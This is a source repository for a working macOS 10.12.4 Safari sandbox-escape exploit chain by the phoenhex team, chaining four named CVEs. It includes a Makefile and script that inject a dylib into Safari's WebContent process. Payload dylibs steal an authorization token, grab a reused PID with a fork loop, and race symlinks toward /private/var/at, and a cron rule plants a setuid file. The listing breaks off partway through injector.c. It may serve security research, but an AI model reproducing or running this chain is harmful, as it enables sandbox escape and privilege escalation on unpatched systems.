├── inject_with_log_server.sh
├── README.md
├── restart_ssd.swift
├── bundle
├── version.plist
└── Info.plist
├── progress.py
├── workdir.h
├── DAServer.defs.h
├── ssd1.c
├── log_server.py
├── proc.h
├── Makefile
├── ssd2.c
├── common.h
├── DAServer.defs
├── injector.c
├── webcontent.c
├── DAServer.h
└── DAServerUser.c
/inject_with_log_server.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | if [[ $# != 2 ]]; then
3 | echo >&2 "Usage: $0 PID DYLIB"
4 | exit 1
5 | fi
6 |
7 | PID="$1"
8 | DYLIB="$2"
9 |
10 | set -m
11 | python2 log_server.py &
12 | err=0
13 | sleep 1
14 | sudo ./injector $PID $DYLIB || err=1
15 | if [[ $err != 0 ]]; then
16 | kill -9 %1
17 | exit 1
18 | fi
19 | fg %1
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Exploit using following bugs to escape Safari sandbox:
2 |
3 | * CVE-2017-2533: TOCTOU in diskarbitrationd
4 | * CVE-2017-2535: PID reuse logic bug in authd
5 | * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
6 | * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
7 |
8 | ## How to use
9 |
10 | 1. Get a vulnerable macOS 10.12.4 system with a FAT32 partition called `/dev/disk0s1`
11 | 2. Back up the contents of `/dev/disk0s1`
12 | 3. Start Safari
13 | 4. `make reset`
14 | 5. `make inject`
15 |
16 |
17 | by phoenhex team
--------------------------------------------------------------------------------
/restart_ssd.swift:
--------------------------------------------------------------------------------
1 | import Foundation
2 | import XPC
3 |
4 | let connection = xpc_connection_create_mach_service("com.apple.speech.speechsynthesisd", nil, 0)
5 | xpc_connection_set_event_handler(connection) { print("Message received: " + $0.description) }
6 | xpc_connection_resume(connection);
7 |
8 | var msg = xpc_dictionary_create(nil, nil, 0)
9 | xpc_dictionary_set_int64(msg, "msg", 120)
10 | xpc_dictionary_set_data(msg, "voiceSpec", "1337", 4)
11 | xpc_dictionary_set_bool(msg, "allVoices", true)
12 |
13 | let reply = xpc_connection_send_message_with_reply_sync(connection, msg);
14 |
--------------------------------------------------------------------------------
/bundle/version.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BuildAliasOf
6 | SpeechSynthesis
7 | BuildVersion
8 | 2
9 | CFBundleShortVersionString
10 | 6.3.3
11 | CFBundleVersion
12 | 6.3.3
13 | ProjectName
14 | SpeechSynthesis_MacInTalk
15 | SourceVersion
16 | 6003003000000
17 |
18 |
19 |
--------------------------------------------------------------------------------
/progress.py:
--------------------------------------------------------------------------------
1 | import os
2 | import time
3 | import glob
4 |
5 | start = time.time()
6 | def cur():
7 | t = time.time() - start
8 | return '%d mins %d secs' % (t//60, t%60)
9 |
10 | log = "/cores/log_webcontent*"
11 |
12 | while not glob.glob(log):
13 | time.sleep(1)
14 | print "Stage one finished at %s" % cur()
15 |
16 | fname = glob.glob(log)[0]
17 | while True:
18 | with open(fname) as f:
19 | if "Success!" in f.read():
20 | break
21 | time.sleep(1)
22 | print "Stage two finished at %s" % cur()
23 |
24 | while not os.path.exists("/tmp/pwned"):
25 | time.sleep(1)
26 |
27 | print "Exploit took %s" % cur()
28 |
--------------------------------------------------------------------------------
/workdir.h:
--------------------------------------------------------------------------------
1 | char workdir[] =
2 | "pwnedbysaeloandniklasb"
3 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
4 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
5 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
6 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
7 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
8 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
9 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
10 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
11 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
12 | "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
13 |
--------------------------------------------------------------------------------
/DAServer.defs.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2014 Apple Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. Please obtain a copy of the License at
10 | * http://www.opensource.apple.com/apsl/ and read it before using this
11 | * file.
12 | *
13 | * The Original Code and all software distributed under the License are
14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
18 | * Please see the License for the specific language governing rights and
19 | * limitations under the License.
20 | *
21 | * @APPLE_LICENSE_HEADER_END@
22 | */
23 |
24 | #define mig_external __private_extern__
25 |
26 | typedef const char * ___path_t;
27 |
--------------------------------------------------------------------------------
/bundle/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BuildMachineOSBuild
6 | 16C31b
7 | CFBundleDevelopmentRegion
8 | English
9 | CFBundleExecutable
10 | MacinTalk
11 | CFBundleIdentifier
12 | com.apple.speech.synthesis.MacinTalkSynthesizer
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | MacinTalk
17 | CFBundlePackageType
18 | BNDL
19 | CFBundleShortVersionString
20 | 6.3.3
21 | CFBundleSignature
22 | ????
23 | CFBundleSupportedPlatforms
24 |
25 | MacOSX
26 |
27 | CFBundleVersion
28 | 6.3.3
29 | DTCompiler
30 | com.apple.compilers.llvm.clang.1_0
31 | DTPlatformBuild
32 | 8R174l
33 | DTPlatformVersion
34 | GM
35 | DTSDKBuild
36 | 16C31b
37 | DTSDKName
38 | macosx10.12internal
39 | DTXcode
40 | 0800
41 | DTXcodeBuild
42 | 8R174l
43 | SpeechEngineTypeArray
44 |
45 | 926102321
46 | 1818583411
47 | 1936485230
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/ssd1.c:
--------------------------------------------------------------------------------
1 | // Exploit using following bugs to escape Safari sandbox:
2 | //
3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
4 | // * CVE-2017-2535: PID reuse logic bug in authd
5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
7 | //
8 | // by phoenhex team (niklasb & saelo)
9 | //
10 | // see LICENSE
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #include
17 | #include
18 |
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 |
25 | #include "workdir.h"
26 | #include "common.h"
27 | #include "proc.h"
28 |
29 | AuthorizationExternalForm token;
30 | int token_pid;
31 |
32 | void acquire_token() {
33 | AuthorizationRef auth;
34 | assert(!AuthorizationCreate( NULL, NULL, kAuthorizationFlagDefaults, &auth));
35 | assert(!AuthorizationMakeExternalForm(auth, &token));
36 | token_pid = getpid();
37 | }
38 |
39 | __attribute__((constructor))
40 | void _injection() {
41 | chdir(workdir);
42 | init("ssd1");
43 | acquire_token();
44 | log("Token acquired\n");
45 |
46 | /*
47 | log("token = ");
48 | for (int i = 0; i < kAuthorizationExternalFormLength; ++i) {
49 | if (i && i % 4 == 0) log(" ");
50 | log("%02x", (int)(unsigned char)token.bytes[i]);
51 | }
52 | */
53 | log("Token PID = %d\n", token_pid);
54 |
55 | write_file("token", token.bytes, kAuthorizationExternalFormLength);
56 | write_file("token_pid", &token_pid, sizeof token_pid);
57 | wait_for_file("token_imported");
58 | log("Cya!\n");
59 | write_marker("ssd1_done");
60 |
61 | // kill process
62 | _exit(0);
63 | }
64 |
--------------------------------------------------------------------------------
/log_server.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import socket
3 | import sys
4 | import threading
5 | import time
6 |
7 | start_time = time.time()
8 |
9 | def cur():
10 | t = time.time() - start_time
11 | return '%02d:%02d.%03d' % (t//60, t%60, int(t * 1000) % 1000)
12 |
13 | def recv_until(sock, term):
14 | buf = ''
15 | while True:
16 | c = sock.recv(1)
17 | if not c:
18 | return None
19 | if c == term:
20 | return buf
21 | buf += c
22 |
23 | def log_handler(client, addr):
24 | print '[*] Got logging connection from %s:%d' % addr
25 | while True:
26 | svc = recv_until(client, ':')
27 | if svc is None:
28 | return
29 | line = recv_until(client, '\n')
30 | if line is None:
31 | return
32 | sys.stdout.write('[%s %.4s] %s\n' % (cur(), svc, line))
33 | sys.stdout.flush()
34 |
35 | class ThreadedTCPServer(object):
36 | def __init__(self, host, port, handler):
37 | self.host = host
38 | self.port = port
39 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
41 | self.sock.bind((self.host, self.port))
42 | self.handler = handler
43 |
44 | def listen(self):
45 | self.sock.listen(5)
46 | while True:
47 | client, addr = self.sock.accept()
48 | t = threading.Thread(target = self.handler, args = (client, addr))
49 | t.daemon = True
50 | t.start()
51 |
52 | if __name__ == '__main__':
53 | p = argparse.ArgumentParser()
54 | p.add_argument('--host', default='127.0.0.1')
55 | p.add_argument('--port', type=int, default=1337)
56 | args = p.parse_args()
57 |
58 | print '[*] Listening on %s:%d' % (args.host, args.port)
59 | ThreadedTCPServer(args.host, args.port, log_handler).listen()
60 |
--------------------------------------------------------------------------------
/proc.h:
--------------------------------------------------------------------------------
1 | // http://stackoverflow.com/questions/18820199/unable-to-detect-application-running-with-another-user-via-switch-user/18821357#18821357
2 | typedef struct kinfo_proc kinfo_proc;
3 | struct proc_list {
4 | kinfo_proc *procList;
5 | size_t procCount;
6 | } proc_list;
7 |
8 | int get_process_list() {
9 | int err;
10 | kinfo_proc * result;
11 | bool done;
12 | static const int name[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
13 | size_t length;
14 |
15 | proc_list.procCount = 0;
16 |
17 | result = NULL;
18 | done = false;
19 | do {
20 | assert(result == NULL);
21 |
22 | length = 0;
23 | err = sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1,
24 | NULL, &length,
25 | NULL, 0);
26 | if (err == -1) {
27 | err = errno;
28 | }
29 |
30 | if (err == 0) {
31 | result = malloc(length);
32 | if (result == NULL) {
33 | err = ENOMEM;
34 | }
35 | }
36 |
37 | if (err == 0) {
38 | err = sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1,
39 | result, &length,
40 | NULL, 0);
41 | if (err == -1) {
42 | err = errno;
43 | }
44 | if (err == 0) {
45 | done = true;
46 | } else if (err == ENOMEM) {
47 | assert(result != NULL);
48 | free(result);
49 | result = NULL;
50 | err = 0;
51 | }
52 | }
53 | } while (err == 0 && ! done);
54 |
55 | if (err != 0 && result != NULL) {
56 | free(result);
57 | result = NULL;
58 | }
59 | proc_list.procList = result;
60 | if (err == 0) {
61 | proc_list.procCount = length / sizeof(kinfo_proc);
62 | }
63 | assert( (err == 0) == (proc_list.procList != NULL) );
64 | return err;
65 | }
66 |
67 | bool have_pid(pid_t pid) {
68 | for (size_t i = 0; i < proc_list.procCount; ++i)
69 | if (proc_list.procList[i].kp_proc.p_pid == pid)
70 | return 1;
71 | return 0;
72 | }
73 |
74 | pid_t pid_for_proc(const char* name) {
75 | assert(!get_process_list());
76 | for (size_t i = 0; i < proc_list.procCount; ++i) {
77 | if (!strncmp(proc_list.procList[i].kp_proc.p_comm, name, strlen(name)))
78 | return proc_list.procList[i].kp_proc.p_pid;
79 | }
80 | return 0;
81 | }
82 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | #LIBPATH = /System/Library/
2 | LIBPATH = `python -c 'import os; print(os.confstr(65538))'`/com.apple.WebKit.WebContent+com.apple.Safari/
3 | TARGET1 = `python -c 'import os; print(os.confstr(65538))'`/com.apple.WebKit.WebContent+com.apple.Safari/com.apple.speech.speechsynthesisd
4 | TARGET2 = `python -c 'import os; print(os.confstr(65538))'`/com.apple.speech.speechsynthesisd
5 |
6 | .PHONY: all inject inject_test restart_ssd reset clean
7 | all: injector webcontent.dylib
8 |
9 | # Commands
10 | inject: injector webcontent.dylib
11 | @[ ! -e /cores/log_webcontent_* ] || \
12 | (echo /cores/log_webcontent_XXX exists. you should run make reset first; exit 1)
13 | sudo cp webcontent.dylib $(LIBPATH)/webcontent.dylib
14 | sudo chmod 755 $(LIBPATH)/webcontent.dylib
15 | ./inject_with_log_server.sh `pgrep WebContent | tail -n 1` $(LIBPATH)/webcontent.dylib
16 |
17 | inject_test: injector test.dylib
18 | sudo cp test.dylib $(LIBPATH)/test.dylib
19 | sudo chmod 755 $(LIBPATH)/test.dylib
20 | ./inject_with_log_server.sh `pgrep WebContent | tail -n 1` $(LIBPATH)/test.dylib
21 |
22 | restart_ssd:
23 | killall -9 com.apple.speech.speechsynthesisd || true
24 | swift restart_ssd.swift
25 | pgrep speechsynthesisd
26 |
27 | reset: restart_ssd
28 | sudo umount -f /dev/disk0s1 || true
29 | mkdir -p /tmp/mnt
30 | diskutil mount -mountPoint /tmp/mnt /dev/disk0s1
31 | rm -f /tmp/mnt/root
32 | diskutil umount /dev/disk0s1
33 | #rm -rf $(TARGET1)
34 | #rm -rf $(TARGET2)
35 | rm -rf /cores/log_{webcontent,ssd1,ssd2}_*
36 | for p in `pgrep WebContent`; do kill -9 $$p; done || true
37 |
38 | # Build products
39 | injector: injector.c
40 | clang -o $@ $<
41 |
42 | bundle/%.plist.gen.h: bundle/%.plist
43 | xxd -i $< $@
44 |
45 | %.dylib.gen.h: %.dylib
46 | xxd -i $< $@
47 |
48 | test.dylib: test.c
49 | clang -shared $< -o $@ -framework CoreFoundation -framework Security
50 |
51 | webcontent.dylib: webcontent.c bundle/Info.plist.gen.h bundle/version.plist.gen.h \
52 | ssd1.dylib.gen.h ssd2.dylib.gen.h common.h
53 | clang -shared $< DAServerUser.c -o $@ -framework CoreFoundation -framework Security
54 |
55 | ssd1.dylib: ssd1.c common.h
56 | clang -shared $< -o $@ -framework Security -framework CoreFoundation
57 |
58 | ssd2.dylib: ssd2.c common.h
59 | clang -shared $< -o $@ -framework Security -framework CoreFoundation
60 |
61 | clean:
62 | rm -f *.dylib *.o injector
63 |
--------------------------------------------------------------------------------
/ssd2.c:
--------------------------------------------------------------------------------
1 | // Exploit using following bugs to escape Safari sandbox:
2 | //
3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
4 | // * CVE-2017-2535: PID reuse logic bug in authd
5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
7 | //
8 | // by phoenhex team (niklasb & saelo)
9 | //
10 | // see LICENSE
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #include
17 | #include
18 |
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 |
25 | #include "workdir.h"
26 | #include "common.h"
27 | #include "proc.h"
28 |
29 | pid_t token_pid;
30 |
31 | int last_pid;
32 | bool grab_loop(pid_t target) {
33 | assert(target);
34 | last_pid = -1;
35 | if (getpid() == target)
36 | return 1;
37 | for (;;) {
38 | pid_t res = vfork();
39 | if (res < 0) return 0;
40 | if (res > 0) last_pid = res;
41 | if (res == target) return 1;
42 | if (res == 0) _exit(0);
43 | }
44 | assert(0);
45 | }
46 |
47 | void grab(pid_t target) {
48 | for(int i = 0; ; ++i) {
49 | /*printf("Iteration %d\n", i);*/
50 |
51 | int res = fork();
52 | assert(res >= 0);
53 | if (res > 0) {
54 | // parent
55 | int status;
56 | waitpid(res, &status, 0);
57 | if (status == 0) return;
58 | } else {
59 | // child
60 | bool res = grab_loop(target);
61 | // kill zombies
62 | waitpid(-1,0,0);
63 | /*printf("Progress: %d / %d\n", last_pid, target);*/
64 | _exit(res ? 0 : 1);
65 | }
66 | }
67 | }
68 |
69 | void symlink_race() {
70 | for(;;) {
71 | int f = open("stop_mount_race", 0);
72 | if (f >= 0) {
73 | log("Done\n");
74 | close(f);
75 | return;
76 | }
77 | //log("Another round\n");
78 | for(int i = 0; i < 100; ++i) {
79 | unlink("pwn");
80 | symlink("mnt", "pwn");
81 | unlink("pwn");
82 | symlink("/private/var/at", "pwn");
83 | }
84 | }
85 | }
86 |
87 | __attribute__((constructor))
88 | void _injection() {
89 | chdir(workdir);
90 | init("ssd2");
91 |
92 | int f1 = wait_for_file("token_pid");
93 | readall(f1, (char*)&token_pid, sizeof token_pid, true);
94 |
95 | log("token_pid = %d\n", token_pid);
96 | assert(!get_process_list());
97 | assert(!have_pid(token_pid));
98 |
99 | // TODO find good compromise here between speed and reliability
100 | const int holes = 3;
101 | pid_t target = token_pid;
102 | int seen = 0;
103 | while (seen < holes) {
104 | --target;
105 | seen += !have_pid(target);
106 | }
107 | assert(target > 10);
108 |
109 | log("Grabbing PID %d\n", target);
110 | grab(target);
111 |
112 | assert(!get_process_list());
113 | assert(!have_pid(token_pid));
114 | write_marker("hole_done");
115 |
116 | log("Done. Waiting for mount race to start.\n");
117 |
118 | int fd = wait_for_file("ssd2_next_step");
119 | log("Reading step file\n");
120 | char step[10] = {0};
121 | readall(fd, step, 4, true);
122 | log("Next step: %s.\n", step);
123 | write_marker("ssd2_next_step_ack");
124 | if (!strncmp(step, "exit", 4)) {
125 | log("Exiting without starting race.\n");
126 | _exit(0);
127 | }
128 |
129 | log("Starting race\n");
130 | symlink_race();
131 | log("Done. Cya\n");
132 | _exit(0);
133 | }
134 |
--------------------------------------------------------------------------------
/common.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define log addasdasd
9 |
10 | #define A0 "CONFIG"
11 | #define A1 A0 A0
12 | #define A2 A1 A1
13 | #define A3 A2 A2
14 | #define A4 A3 A3
15 | #define A5 A4 A4
16 | #define A6 A5 A5
17 | #define A7 A6 A6
18 | #define A8 A7 A7
19 |
20 | // This can be left as is for default, or patched up to change config
21 | // Format: cronrule "\0" log_host "\0" log_port "\0"
22 | const char config[] = "PUTHERE" A8;
23 |
24 | const char* cronrule = "* * * * * touch /tmp/pwned; chmod 4755 /tmp/pwned";
25 | const char* log_host = "127.0.0.1";
26 | int log_port = 1337;
27 | bool debug_mode = false;
28 |
29 | const char* svc_name;
30 |
31 | long long microsecs() {
32 | struct timeval tv;
33 | gettimeofday(&tv, 0);
34 | return 1000000ll * tv.tv_sec + tv.tv_usec;
35 | }
36 |
37 | int log_fd = 0, log_socket = 0;
38 | long long init_time;
39 |
40 | void writeall(int fd, const unsigned char* buf, size_t sz, bool need) {
41 | while (sz > 0) {
42 | size_t tx = write(fd, buf, sz);
43 | if (tx <= 0 && (need || debug_mode)) abort();
44 | sz -= tx;
45 | buf += tx;
46 | }
47 | }
48 |
49 | void readall(int fd, char* buf, size_t size, bool need) {
50 | while(size) {
51 | int tx = read(fd, buf, size);
52 | if (tx <= 0 && (need || debug_mode)) abort();
53 | buf += tx;
54 | size -= tx;
55 | }
56 | }
57 |
58 |
59 | void log(const char* fmt, ...) {
60 | char buf[1024] = {0};
61 |
62 | long long t = microsecs() - init_time;
63 | snprintf(buf, sizeof buf, "[%04lld.%03lld %.4s] ",
64 | t / 1000000, (t % 1000000) / 1000, svc_name);
65 | if (log_fd) writeall(log_fd, (unsigned char*)buf, strlen(buf), false);
66 | if (log_socket) {
67 | writeall(log_socket, (unsigned char*)svc_name, strlen(svc_name), false);
68 | writeall(log_socket, (unsigned char*)":", 1, false);
69 | }
70 |
71 | va_list args;
72 | va_start(args, fmt);
73 | vsnprintf(buf, sizeof buf, fmt, args);
74 | va_end(args);
75 |
76 | if (log_fd) writeall(log_fd, (unsigned char*)buf, strlen(buf), false);
77 | if (log_socket) writeall(log_socket, (unsigned char*)buf, strlen(buf), false);
78 | }
79 |
80 | void log_config() {
81 | log("Using config: log_host = %s, log_port = %d, debug_mode = %s\n",
82 | log_host, log_port, debug_mode?"on":"off");
83 | }
84 |
85 | void parse_config() {
86 | const char* ptr = config;
87 | // check if config was patched in
88 | if (strncmp(ptr, "CONFIG", 6)) {
89 | cronrule = ptr;
90 | while(*ptr) ++ptr;
91 | ++ptr;
92 |
93 | log_host = ptr;
94 | while(*ptr) ++ptr;
95 | ++ptr;
96 |
97 | log_port = atoi(ptr);
98 | while(*ptr) ++ptr;
99 | ++ptr;
100 |
101 | debug_mode = !!atoi(ptr);
102 | }
103 | log_config();
104 | }
105 |
106 | void init(const char* svc) {
107 | init_time = microsecs();
108 | svc_name = svc;
109 |
110 | char log_file[1024];
111 | snprintf(log_file, sizeof log_file - 1,
112 | "/cores/log_%s_pid_%d_time_%lld",
113 | svc, getpid(), init_time / 1000000);
114 |
115 | log_fd = open(log_file, O_CREAT|O_TRUNC|O_WRONLY, 0644);
116 | if (log_fd < 0)
117 | log_fd = 0;
118 |
119 | parse_config();
120 |
121 | int sockfd;
122 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
123 | log("Error while connecting to logging socket: socket() failed: %s\n",
124 | strerror(errno));
125 | goto finish;
126 | }
127 |
128 | struct sockaddr_in server_addr;
129 | bzero(&server_addr, sizeof(server_addr));
130 | server_addr.sin_family = AF_INET;
131 | server_addr.sin_port = htons(log_port);
132 |
133 | inet_pton(AF_INET, log_host, &server_addr.sin_addr);
134 |
135 | if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
136 | log("Error while connecting to logging socket: connect() failed: %s\n",
137 | strerror(errno));
138 | goto finish;
139 | }
140 | log_socket = sockfd;
141 |
142 | finish:
143 | log("Logging initialized for %s\n", svc);
144 | log_config();
145 | }
146 |
147 | void write_file(const char* fname, const void* buf, size_t size) {
148 | int f = open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0777);
149 | writeall(f, buf, size, true);
150 | close(f);
151 | }
152 |
153 | void write_marker(const char* fname) {
154 | write_file(fname, "1337", 4);
155 | }
156 |
157 | void msleep(uint64_t millisecs) {
158 | struct timespec t;
159 | t.tv_sec = millisecs / 1000;
160 | t.tv_nsec = millisecs % 1000 * 1000000;
161 | nanosleep(&t, 0);
162 | }
163 |
164 | int wait_for_file(const char* fname) {
165 | int f;
166 | while((f = open(fname, 0, 0)) < 0)
167 | msleep(50);
168 | return f;
169 | }
170 |
171 | void wait_for_dir(const char* fname) {
172 | int f;
173 | while (0 > (f = open(fname, O_DIRECTORY)))
174 | msleep(50);
175 | close(f);
176 | }
177 |
178 | void wait_for_file_to_disappear(const char* fname) {
179 | int f;
180 | while((f = open(fname, 0, 0)) >= 0) {
181 | close(f);
182 | msleep(50);
183 | }
184 | }
185 |
186 | // TODO don't fail in production!!!!!!!!!11
187 | void assert_fail(const char* msg, const char* file, int line) {
188 | char buf[1024];
189 | snprintf(buf, sizeof buf - 1, "Assert failed: %s at %s:%d", msg, file, line);
190 | log(buf);
191 | if (debug_mode) {
192 | sleep(2);
193 | abort();
194 | }
195 | }
196 |
197 | #undef assert
198 | #define assert(EX) (void)((EX) || (assert_fail (#EX, __FILE__, __LINE__),0))
199 |
--------------------------------------------------------------------------------
/DAServer.defs:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 1998-2015 Apple Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. Please obtain a copy of the License at
10 | * http://www.opensource.apple.com/apsl/ and read it before using this
11 | * file.
12 | *
13 | * The Original Code and all software distributed under the License are
14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
18 | * Please see the License for the specific language governing rights and
19 | * limitations under the License.
20 | *
21 | * @APPLE_LICENSE_HEADER_END@
22 | */
23 |
24 | #include
25 | #include
26 |
27 | subsystem DAServer 0;
28 |
29 | import ;
30 | import ;
31 | import ;
32 |
33 | import "DAServer.defs.h";
34 |
35 | type ___caddr_t = c_string [*:1024] ctype : caddr_t;
36 | type ___path_t = c_string [*:4096] ctype : ___path_t;
37 | type ___pid_t = int32_t ctype : pid_t;
38 | type ___uid_t = int32_t ctype : uid_t;
39 | type ___vm_address_t = array [] of char ctype : vm_address_t;
40 | type ___AuthorizationExternalForm = struct [32] of char ctype : AuthorizationExternalForm;
41 |
42 | routine _DAServerDiskCopyDescription( _session : mach_port_t;
43 | _disk : ___caddr_t;
44 | out _description : ___vm_address_t, dealloc );
45 |
46 | routine _DAServerDiskGetOptions( _session : mach_port_t;
47 | _disk : ___caddr_t;
48 | out _options : int32_t );
49 |
50 | routine _DAServerDiskGetUserUID( _session : mach_port_t;
51 | _disk : ___caddr_t;
52 | out _userUID : ___uid_t );
53 |
54 | routine _DAServerDiskIsClaimed( _session : mach_port_t;
55 | _disk : ___caddr_t;
56 | out _claimed : boolean_t );
57 |
58 | routine _DAServerDiskSetAdoption( _session : mach_port_t;
59 | _disk : ___caddr_t;
60 | _adoption : boolean_t;
61 | ServerSecToken _token : security_token_t );
62 |
63 | routine _DAServerDiskSetEncoding( _session : mach_port_t;
64 | _disk : ___caddr_t;
65 | _encoding : int32_t;
66 | ServerSecToken _token : security_token_t );
67 |
68 | routine _DAServerDiskSetOptions( _session : mach_port_t;
69 | _disk : ___caddr_t;
70 | _options : int32_t;
71 | _value : int32_t );
72 |
73 | simpleroutine _DAServerDiskUnclaim( _session : mach_port_t;
74 | _disk : ___caddr_t );
75 |
76 | routine _DAServerSessionCopyCallbackQueue( _session : mach_port_t;
77 | out _queue : ___vm_address_t, dealloc );
78 |
79 | routine _DAServerSessionCreate( _session : mach_port_t;
80 | _name : ___caddr_t;
81 | _pid : ___pid_t;
82 | out _server : mach_port_make_send_t );
83 |
84 | routine _DAServerSessionQueueRequest( _session : mach_port_t;
85 | _kind : int32_t;
86 | _argument0 : ___caddr_t;
87 | _argument1 : int32_t;
88 | _argument2 : ___vm_address_t;
89 | _argument3 : ___vm_address_t;
90 | _address : mach_vm_offset_t;
91 | _context : mach_vm_offset_t;
92 | ServerSecToken _token : security_token_t );
93 |
94 | simpleroutine _DAServerSessionQueueResponse( _session : mach_port_t;
95 | _address : mach_vm_offset_t;
96 | _context : mach_vm_offset_t;
97 | _kind : int32_t;
98 | _disk : ___caddr_t;
99 | _response : ___vm_address_t;
100 | _responseID : int32_t );
101 |
102 | routine _DAServerSessionRegisterCallback( _session : mach_port_t;
103 | _address : mach_vm_offset_t;
104 | _context : mach_vm_offset_t;
105 | _kind : int32_t;
106 | _order : int32_t;
107 | _match : ___vm_address_t;
108 | _watch : ___vm_address_t );
109 |
110 | simpleroutine _DAServerSessionRelease( _session : mach_port_t );
111 |
112 | simpleroutine _DAServerSessionSetAuthorization( _session : mach_port_t;
113 | _authorization : ___AuthorizationExternalForm );
114 |
115 | simpleroutine _DAServerSessionSetClientPort( _session : mach_port_t;
116 | _client : mach_port_make_send_t );
117 |
118 | simpleroutine _DAServerSessionUnregisterCallback( _session : mach_port_t;
119 | _address : mach_vm_offset_t;
120 | _context : mach_vm_offset_t );
121 |
122 | routine _DAServermkdir( _session : mach_port_t;
123 | _path : ___path_t;
124 | ServerSecToken _token : security_token_t );
125 |
--------------------------------------------------------------------------------
/injector.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include
14 | #include
15 |
16 | #define X86_64
17 |
18 | #ifdef __arm64__
19 | //#include "mach/arm/thread_status.h"
20 |
21 | // Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
22 | // And I say, bullshit.
23 | kern_return_t mach_vm_allocate
24 | (
25 | vm_map_t target,
26 | mach_vm_address_t *address,
27 | mach_vm_size_t size,
28 | int flags
29 | );
30 |
31 | kern_return_t mach_vm_write
32 | (
33 | vm_map_t target_task,
34 | mach_vm_address_t address,
35 | vm_offset_t data,
36 | mach_msg_type_number_t dataCnt
37 | );
38 |
39 |
40 |
41 |
42 | #else
43 | #include
44 | #endif
45 |
46 |
47 | #define STACK_SIZE (1024*1024*32)
48 | #define CODE_SIZE 1024
49 |
50 | // Due to popular request:
51 | //
52 | // Simple injector example (and basis of coreruption tool).
53 | //
54 | // If you've looked into research on injection techniques in OS X, you
55 | // probably know about mach_inject. This tool, part of Dino Dai Zovi's
